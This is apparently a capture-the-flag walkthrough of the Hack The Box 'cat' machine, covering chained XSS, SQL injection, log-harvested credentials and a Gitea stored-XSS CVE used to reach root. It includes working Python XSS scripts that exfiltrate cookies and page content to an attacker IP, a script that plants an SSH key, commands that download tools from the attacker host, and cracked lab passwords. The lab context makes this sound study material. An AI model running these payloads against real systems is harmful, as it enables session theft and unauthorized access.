HTB - cat
![]() |
Medium linux box, involves a lot of user interaction, some logs and some php code analysis. We start by finding a .git repository and using the missing sanitization to get admin with a xss. Then we abuse a sqli injection to get our first ssh credentials. Checking the apache logs we find our second ssh user. After that we exploit a known cve (CVE-2024-6886) to get to root. |
nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-02 09:52 -04
Nmap scan report for 10.10.11.53
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 962df5c6f69f5960e56585ab49e47614 (RSA)
| 256 9ec4a440e9dacc62d1d65a2f9e7bd4aa (ECDSA)
|_ 256 6e222a6a6debde19b71697c27e8929d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.83 seconds
No subdomains found.
ffuf -u https://$(cat ip.txt)/ -H 'Host: FUZZ.cat.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 169
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://10.10.11.53/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.cat.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: all
:: Filter : Response size: 169
________________________________________________
:: Progress: [5893/5893] :: Job [1/1] :: 100 req/sec :: Duration: [0:00:59] :: Errors: 5893 ::
endpoint bruteforce
feroxbuster -u http://cat.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://cat.htb
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Extract Links β true
π² Extensions β [php]
π HTTP methods β [GET]
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
404 GET 9l 31w 269c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 41l 83w 1242c http://cat.htb/vote.php
200 GET 196l 415w 5082c http://cat.htb/winners.php
200 GET 127l 270w 2900c http://cat.htb/css/styles.css
200 GET 140l 327w 4004c http://cat.htb/join.php
301 GET 9l 28w 300c http://cat.htb/css => http://cat.htb/css/
301 GET 9l 28w 304c http://cat.htb/uploads => http://cat.htb/uploads/
200 GET 1l 0w 1c http://cat.htb/config.php
200 GET 127l 270w 2900c http://cat.htb/css/styles
301 GET 9l 28w 300c http://cat.htb/img => http://cat.htb/img/
302 GET 0l 0w 0c http://cat.htb/logout.php => http://cat.htb/
302 GET 1l 0w 1c http://cat.htb/admin.php => http://cat.htb/join.php
302 GET 1l 0w 1c http://cat.htb/contest.php => http://cat.htb/join.php
200 GET 129l 285w 3075c http://cat.htb/
200 GET 129l 285w 3075c http://cat.htb/index.php
200 GET 127l 715w 53503c http://cat.htb/img/cat3.webp
200 GET 304l 1647w 132808c http://cat.htb/img/cat1.jpg
200 GET 904l 5604w 448419c http://cat.htb/img/cat2.png
301 GET 9l 28w 304c http://cat.htb/winners => http://cat.htb/winners/
200 GET 127l 715w 53503c http://cat.htb/img_winners/cat3.webp
200 GET 304l 1647w 132808c http://cat.htb/img_winners/cat1.jpg
200 GET 904l 5604w 448419c http://cat.htb/img_winners/cat2.png
200 GET 304l 1647w 132808c http://cat.htb/img/cat1
404 GET 0l 0w 269c http://cat.htb/css/decorated
[####################] - 6m 132941/132941 0s found:23 errors:2274
[####################] - 5m 26584/26584 85/s http://cat.htb/
[####################] - 5m 26584/26584 86/s http://cat.htb/css/
[####################] - 5m 26584/26584 86/s http://cat.htb/uploads/
[####################] - 5m 26584/26584 87/s http://cat.htb/img/
[####################] - 5m 26584/26584 92/s http://cat.htb/winners/
No obvious sqli on login or register.
/contest.php allows us to upload an image. The success message is interesting. Maybe some xss?

No callbacks to the server.
There is a git repo on /.git. Lets use git-dumper to take a look.
git-dumper http://cat.htb/ out
The contest form is getting sanitized, so no xss here.
// contest.php
$cat_name = $_POST['cat_name'];
$age = $_POST['age'];
$birthdate = $_POST['birthdate'];
$weight = $_POST['weight'];
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
contains_forbidden_content($age, $forbidden_patterns) ||
contains_forbidden_content($birthdate, $forbidden_patterns) ||
contains_forbidden_content($weight, $forbidden_patterns)) {
$error_message = "Your entry contains invalid characters.";
}
It only sanitizes on save, when retrieving from db it just trusts it.
// view_cat.php
<strong>Owner:</strong> <?php echo $cat['username']; ?><br>
And username is not getting sanitized. So we put our payload there:
// join.php
$username = $_GET['username'];
$email = $_GET['email'];
$password = md5($_GET['password']);
$stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
$stmt_check->execute([':username' => $username, ':email' => $email]);
$existing_user = $stmt_check->fetch(PDO::FETCH_ASSOC);
We abuse the xss with this script and get the admin cookie:
import requests
import random
import base64
from jsmin import jsmin
url = "http://cat.htb/"
payload = (
"""fetch('"""
+ "/"
+ """').then(e => {
return e.text();
}).then(data => {
fetch('http://10.10.14.5:5000/something?' + btoa(data) + '|' + window.location.href + '|' + btoa(document.cookie));
}).error(error => {
fetch('http://10.10.14.5:5000/error?' + btoa(error.text) + '|' + window.location.href);
})"""
)
js = jsmin(payload)
payload = base64.b64encode(js.encode()).decode()
b = payload
username = f"<img src=x onerror=eval(atob('{b}'))>"
password = "asd"
email = f"asd@{random.choice(range(100000000))}asd.asd"
filename = "a.jpg"
with requests.Session() as ses:
# register
ses.get(
url
+ f"join.php?username={username}&password={password}&email={email}®isterForm=aaaa",
proxies={"http": "http://0.0.0.0:8081", "https": "https://0.0.0.0:8081"},
)
ses.get(
url
+ f"join.php?loginUsername={username}&loginPassword={password}&loginForm=Login",
proxies={"http": "http://0.0.0.0:8081", "https": "https://0.0.0.0:8081"},
)
url = "http://cat.htb/contest.php"
data = {
"cat_name": "asdasd",
"age": "1",
"birthdate": "2025-02-27",
"weight": "0.01",
}
files = {
"cat_photo": (
filename,
open("./1x1.png", "rb"),
"image/png",
)
}
res = ses.post(
url,
data=data,
files=files,
proxies={"http": "http://0.0.0.0:8081", "https": "https://0.0.0.0:8081"},
)
- PHPSESSID=vkqq3hfpuh9cpqhprfsbi70d3l
We now can access the admin panel where the cats get accepted.

Looking at the php code there seems to be a sqli in it.
// accept_cat.php:10
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
Letβs use sqlmap because I donβt want to write sql.
sqlmap -r request.txt --risk=3 --batch -p catName --level=5 --dbms=sqlite --sql-shell --threads 10
...
# [*] axel2017@gmail.com, d1bbba3670feb9435c9841e46e60ee2f, 1, axel
# [*] rosamendoza485@gmail.com, ac369922d560f17d6eeb8b2c7dec498c, 2, rosa
# [*] robertcervantes2000@gmail.com, 42846631708f69c00ec0c0a8aa4a92ad, 3, robert
# [*] fabiancarachure2323@gmail.com, 39e153e825c4a3d314a0dc7f7475ddbe, 4, fabian
# [*] jerrysonC343@gmail.com, 781593e060f8d065cd7281c5ec5b4b86, 5, jerryson
# [*] larryP5656@gmail.com, 1b6dce240bbfbc0905a664ad199e18f8, 6, larry
# [*] royer.royer2323@gmail.com, c598f6b844a36fa7836fba0835f1f6, 7, royer
# [*] peterCC456@gmail.com, e41ccefa439fc454f7eadbf1f139ed8a, 8, peter
# [*] angel234g@gmail.com, 24a8ec003ac2e1b3c5953a6f95f8f565, 9, angel
# [*] jobert2020@gmail.com, 88e4dceccd48820cf77b5cf6c08698ad, 10, jobert
Checking against crackstation gives us the password for rosa:

- rosa:soyunaprincesarosa
rosa
Users that have shells:
rosa@cat:/tmp/tmp.jugb594iwr$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
axel:x:1000:1000:axel:/home/axel:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash
git:x:114:119:Git Version Control,,,:/home/git:/bin/bash
jobert:x:1002:1002:,,,:/home/jobert:/bin/bash
We have the hash for both axel and jober. Lets try and crack their hashes just to make sure.
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: ./hashes.txt
Time.Started.....: Thu Jun 26 12:37:48 2025 (4 secs)
Time.Estimated...: Thu Jun 26 12:37:52 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/home/shafou/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 3771.9 kH/s (0.39ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 0/2 (0.00%) Digests (total), 0/2 (0.00%) Digests (new)
Progress.........: 14344384/14344384 (100.00%)
Rejected.........: 0/14344384 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[206b6d3831303838] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 68c Util: 97%
Started: Thu Jun 26 12:37:46 2025
Stopped: Thu Jun 26 12:37:53 2025
Nothing.
A lot of internal ports on the host.
rosa@cat:/tmp/tmp.jugb594iwr$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:42269 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:43879 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:47311 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
Letβs use ligolo to access them. On client:
cd $(mktemp -d)
wget 10.10.14.5:5000/static/ligolo-agent
chmod +x ligolo-agent
(./ligolo-agent -connect 10.10.14.5:11601 -accept-fingerprint 293D9C63434BF4BF5523F3C746B7844D2742E2134F22F698D9E55B661AF4F6BD &)
On host:
sudo ./ligolo-proxy -selfcert
There is a gitea instance on port 3000 and smtp on port 25.

version:

Seems to be vulnerable to CVE-2024-6886. It is a stored xss but only authenticated.
The mail server is:
# VERSIONID(`$Id: sendmail.mc, v 8.15.2-18 2020-03-08 00:39:49 cowboy Exp $')
Maybe it is vulnerable to smtp smuggling? https://github.com/The-Login/SMTP-Smuggling-Tools
We can find creds for axel on /var/log/apache2/access.log and it works for ssh.
127.0.0.1 - - [26/Jun/2025:18:49:41 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh axel@$(cat ip.txt)
axel@cat:~$ cat user.txt
c55fcd646a94a9bfe9b74e5b60d2f1b8
It also works for gitea.

The cve allows us to make a <a> tag with javascript: scheme. So maybe admin has some interesting repos.
The xss looks like this, the little click here button on top left.

The reset script is very agressive. so I automated the auth flow and I am adding a ssh key to clone the repo that the administrator has. I found the repo name during the very painful xss construction.
So you run the script, send an email to jobert and clone the repo.
import base64
import requests
from jsmin import jsmin
with requests.Session() as ses:
def _csrf():
res = ses.get(
url,
)
return res.text.split("csrfToken: '")[1].split("'")[0]
def login():
path = "/user/login"
cookies = {
"lang": "en-US",
"i_like_gitea": "560c1df92178052f",
"_csrf": csrf,
"redirect_to": "%2F",
}
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Content-Type": "application/x-www-form-urlencoded",
}
data = {
"_csrf": csrf,
"user_name": "axel",
"password": "aNdZwgC4tI9gnVXv_e3Q",
}
ses.post(
url + path,
headers=headers,
cookies=cookies,
data=data,
)
def create_repo():
payload = (
"""fetch('"""
+ "/"
+ """').then(e => {
return e.text();
}).then(data => {
let csrf = data.split("csrfToken: '")[1].split("'")[0];
fetch('/user/settings/keys',{
method: "POST",
body: "_csrf=" + csrf + "&title=lala&content=ssh-ed25519+AAAAC3NzaC1lZDI1NTE5AAAAIKXWJhDigZw%2B%2Fcj7TOb3Z6bhauvknl8rvHrs%2FgHSEy8i+shafouz%40htb.com&type=ssh",
headers: { "Content-Type": "application/x-www-form-urlencoded" }
})
}).catch(error => {
fetch('http://10.10.14.5:5000/error?' + encodeURIComponent(error.toString()));
});
fetch('http://10.10.14.5:5000/error');
"""
)
js = jsmin(payload)
payload = base64.b64encode(js.encode()).decode()
payload = f"<a href=\"javascript:eval(atob('{payload}'))\">click me</a>"
path = "/repo/create"
cookies = {
"_csrf": "eP9Ey4eVFpoAsYUNYrbfzcBez5Y6MTc1MDk3NjA1MTIzMDk3MDAwMQ",
}
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Content-Type": "application/x-www-form-urlencoded",
}
data = {
"_csrf": "eP9Ey4eVFpoAsYUNYrbfzcBez5Y6MTc1MDk3NjA1MTIzMDk3MDAwMQ",
"uid": "2",
"repo_name": "xss",
"description": payload,
"repo_template": "",
"issue_labels": "",
"gitignores": "",
"license": "",
"readme": "Default",
"auto_init": "on",
"default_branch": "main",
"object_format_name": "sha1",
}
ses.post(
url + path,
headers=headers,
cookies=cookies,
data=data,
)
url = "http://240.0.0.1:3000/"
csrf = _csrf()
login()
create_repo()
on box:
curl 10.10.14.5:5000/static/swaks -O
chmod +x ./swaks
./swaks --to "jobert@localhost" --from "axel@localhost" --header "Subject: Click me" --body "http://localhost:3000/axel/xss" --server localhost --port 25
on host:
GIT_SSH_COMMAND='ssh -i ~/.ssh/id_rsa_htb' git clone git@cat.htb:administrator/Employee-management.git
Then we find some credentials on index.php.
<?php
// index.php:2 ~ 4
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';
They donβt work on ssh. Tried on jobert and root. But they did work for root with su - root.
root@cat:~# cat root.txt
572da76349e5bf263f65e9511aa97250
